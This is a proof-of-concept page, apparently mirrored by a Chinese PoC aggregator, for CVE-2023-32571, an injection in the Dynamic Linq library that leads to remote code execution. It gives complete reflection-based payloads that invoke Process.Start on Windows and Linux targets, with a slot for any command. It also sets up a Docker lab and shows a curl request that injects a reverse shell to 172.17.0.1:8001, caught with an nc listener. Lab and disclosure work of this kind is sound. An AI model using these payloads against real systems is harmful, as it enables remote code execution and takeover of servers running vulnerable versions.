POC详情: 4bc53c4ead95d8c6222ba463e2eee1863a73b111

来源
关联漏洞
标题: Dynamic Linq 安全漏洞 (CVE-2023-32571)
描述:Dynamic Linq是免费开源LINQ 动态查询库。 Dynamic Linq 1.0.7.10 到 1.2.25版本存在安全漏洞,该漏洞源于允许攻击者在解析Where、Select、OrderBy 等不受信任输入的方法时执行任意代码和命令。
介绍
# Dynamic Linq injection to RCE - CVE-2023-32571
## About Dynamic Linq injection to RCE (CVE-2023-32571)
Recently, members of the NCC Group discovered a vulnerability in Dynamic Linq that allows attackers to call C# functions through a Linq Injection, thus making it possible to obtain RCE.

Even with the RCE report on Dynamic Linq, the members of the NCC Group for some reason did not make the POC available for executing commands.

## POC
As stated in the NCC Group research, we can call C# methods through "Invoke". With this, we can call "System.Diagnostics.Process.Start" and execute commands on the server.

We can use the "CreateInstanceFromAndUnwrap" method to call System.Diagnostics.Process through the assembly.

Payload to use the `System.AppDomain.CreateInstanceAndUnwrap` method:
```
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
```

Payload to call `System.Diagnostics.Process` through the `CreateInstanceAndUnwrap` method:
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
```

By accessing the methods of the `System.Diagnostics.Process` class, we can use the `System.Diagnostics.Process.Start` method to execute commands on system:
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
```

Obs: Notice the payload looks for the first 3 `Start` methods and gets the last one. I did this because the list of methods in `System.Diagnostics.Process` had several `Start` methods, and the one we need is the third one on the list.

## Final Payload

<b>Windows Targets</b>
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
```
<br/>
<b>Linux Targets</b>

```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
```

## To start lab, follow the instructions

Install docker and docker-compose:

<b>Debian</b>

```
sudo apt update -y && sudo apt install docker.io docker-compose -y
```
<br/>
<b>Arch Linux</b>

```
sudo pacman -Syu && sudo pacman -S docker docker-compose
```
<br/>

Clone this repository:
```
git clone https://github.com/Tris0n/CVE-2023-32571-POC
```
<br/>
Go to repository directory:

```
cd CVE-2023-32571-POC
```

<br/>
Run docker-compose:

```
sudo docker-compose up --build
```
<br/>

The application starts on `http://localhost:8000/`

## Lab writeup

Accessing the "/api/products" route through the POST method, we see that it returns a list of products:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products
```

![01 pn](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/425c1d2b-45ce-4d4f-9619-61cafcc46239)

By sending the `name` parameter in json, we can filter products:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products
```

![02](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/11cd0ade-6b10-4e39-82e5-e1da46fe76af)

After some tests, we see that we were able to inject it into the Dynamic Linq query. By sending the following payload, we were able to obtain a reverse shell:

```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products
```

![03](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/67b6b074-decf-4d40-8b0b-63ef0047eae5)

```
nc -lvp 8001
```

![04](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/58674416-581d-4ab4-958e-436ce632eed6)
文件快照

[4.0K] /data/pocs/4bc53c4ead95d8c6222ba463e2eee1863a73b111 ├── [4.0K] DynamicLinqToRce │   ├── [ 119] appsettings.Development.json │   ├── [ 142] appsettings.json │   ├── [4.0K] bin │   │   └── [4.0K] Debug │   │   └── [4.0K] net7.0 │   │   ├── [ 119] appsettings.Development.json │   │   ├── [ 142] appsettings.json │   │   ├── [5.2K] DynamicLinqToRce.deps.json │   │   ├── [ 10K] DynamicLinqToRce.dll │   │   ├── [151K] DynamicLinqToRce.exe │   │   ├── [ 21K] DynamicLinqToRce.pdb │   │   ├── [ 398] DynamicLinqToRce.runtimeconfig.json │   │   ├── [ 64K] Microsoft.AspNetCore.OpenApi.dll │   │   ├── [206K] Microsoft.OpenApi.dll │   │   ├── [ 15K] Swashbuckle.AspNetCore.Swagger.dll │   │   ├── [ 95K] Swashbuckle.AspNetCore.SwaggerGen.dll │   │   ├── [3.1M] Swashbuckle.AspNetCore.SwaggerUI.dll │   │   └── [212K] System.Linq.Dynamic.Core.dll │   ├── [4.0K] Controllers │   │   └── [ 779] ProductsController.cs │   ├── [ 69] docker-compose.yml │   ├── [ 688] Dockerfile │   ├── [ 472] DynamicLinqToRce.csproj │   ├── [1.1K] DynamicLinqToRce.sln │   ├── [4.0K] Models │   │   ├── [ 61] Product.cs │   │   └── [ 86] ShowProducts.cs │   ├── [4.0K] obj │   │   ├── [4.0K] Debug │   │   │   └── [4.0K] net7.0 │   │   │   ├── [151K] apphost.exe │   │   │   ├── [ 959] DynamicLinqToRce.AssemblyInfo.cs │   │   │   ├── [ 41] DynamicLinqToRce.AssemblyInfoInputs.cache │   │   │   ├── [4.8K] DynamicLinqToRce.assets.cache │   │   │   ├── [2.9K] DynamicLinqToRce.csproj.AssemblyReference.cache │   │   │   ├── [ 0] DynamicLinqToRce.csproj.CopyComplete │   │   │   ├── [ 41] DynamicLinqToRce.csproj.CoreCompileInputs.cache │   │   │   ├── [3.9K] DynamicLinqToRce.csproj.FileListAbsolute.txt │   │   │   ├── [ 10K] DynamicLinqToRce.dll │   │   │   ├── [ 861] DynamicLinqToRce.GeneratedMSBuildEditorConfig.editorconfig │   │   │   ├── [ 41] DynamicLinqToRce.genruntimeconfig.cache │   │   │   ├── [ 753] DynamicLinqToRce.GlobalUsings.g.cs │   │   │   ├── [ 0] DynamicLinqToRce.MvcApplicationPartsAssemblyInfo.cache │   │   │   ├── [ 679] DynamicLinqToRce.MvcApplicationPartsAssemblyInfo.cs │   │   │   ├── [ 21K] DynamicLinqToRce.pdb │   │   │   ├── [4.0K] ref │   │   │   │   └── [6.5K] DynamicLinqToRce.dll │   │   │   ├── [4.0K] refint │   │   │   │   └── [6.5K] DynamicLinqToRce.dll │   │   │   ├── [4.0K] staticwebassets │   │   │   │   ├── [ 89] msbuild.build.DynamicLinqToRce.props │   │   │   │   ├── [ 78] msbuild.buildMultiTargeting.DynamicLinqToRce.props │   │   │   │   └── [ 92] msbuild.buildTransitive.DynamicLinqToRce.props │   │   │   └── [ 283] staticwebassets.build.json │   │   ├── [2.5K] DynamicLinqToRce.csproj.nuget.dgspec.json │   │   ├── [2.0K] DynamicLinqToRce.csproj.nuget.g.props │   │   ├── [ 546] DynamicLinqToRce.csproj.nuget.g.targets │   │   ├── [ 27K] project.assets.json │   │   └── [1.3K] project.nuget.cache │   ├── [ 532] Program.cs │   └── [4.0K] Properties │   └── [1.1K] launchSettings.json └── [6.2K] README.md 13 directories, 51 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。